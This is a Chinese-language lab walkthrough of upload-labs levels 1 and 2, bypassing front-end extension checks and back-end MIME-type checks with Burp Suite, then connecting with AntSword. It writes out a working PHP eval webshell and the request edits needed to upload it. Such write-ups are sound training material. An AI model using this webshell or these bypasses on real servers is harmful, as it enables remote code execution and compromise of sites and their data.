【第一关】文件重命名
工具:Burp+蚁剑
原理:文件名修改
Ⅰ 源码解析
先在前端判断是否为图片格式,是的话,就开始上传。也就是前端绕过,先传一个jpg格式的,再用burp抓包、改包,就可以实现前端验证绕过
Ⅱ 绕过过程
文件上传肯定离不开一句话木马,一句话木马准备
上传一句话木马的jpg,再用burp抓包,把上传的文件名改成1.php
(最好不包含中文,会冲突)
修改后,放包,去后台文件看看有没有上传成功。
一般上传后会放在upload-labs/upload,没有这个文件夹就创建一个
用蚁剑连接php,填好信息,就点击“测试连接”,成功就可以保存
文件上传后,可以浏览别人的后台文件
【第二关】文件 MIME验证绕过
Ⅰ 源码分析
相对于第一关,这一关将文件类型判断放在了后端代码上,我们可以通过MIME验证绕过,说说人话,就是修改上传文件的文件类型。
按照第一关的做法,也是可以的
- 先上传jpg,再用burp改包,将jpg文件改成php文件,最后放包
- 用蚁剑连接,上传的文件php,便可以看到后台数据
Ⅱ 原理分析
在这里讲下,为什么通过修改Content-Type,可以实现php文件直接上传。
Content-Type:决定如何显示/处理将要加载的数据
一开始抓包时,内容类型是application/octet-stream
application/octet-stream, 浏览器并不认得这是什么类型,也不知道应该如何展示,只知道这是一种二进制文件,因此遇到content-type为application/octet-stream的文件时,浏览器会直接把它下载下来,在这个靶场就是直接保存在本地文件夹。
查看一下源码,发现它允许imge/png文件上传,直接修改文件内容类型即可
Ⅲ 绕过过程
在这里,如果我们想直接上传php文件,且不被拦截到,可以通过burp修改数据包的文件类型,便可以实现
编辑一个含有一句话木马的php文件,并上传,用burp抓包
<?php @eval($_POST['a']);?>
抓包后,修改文件的请求行content-type的值为 image/jpeg
修改好就放包,在后台查看下文件是否上传成功
最后用蚁剑连接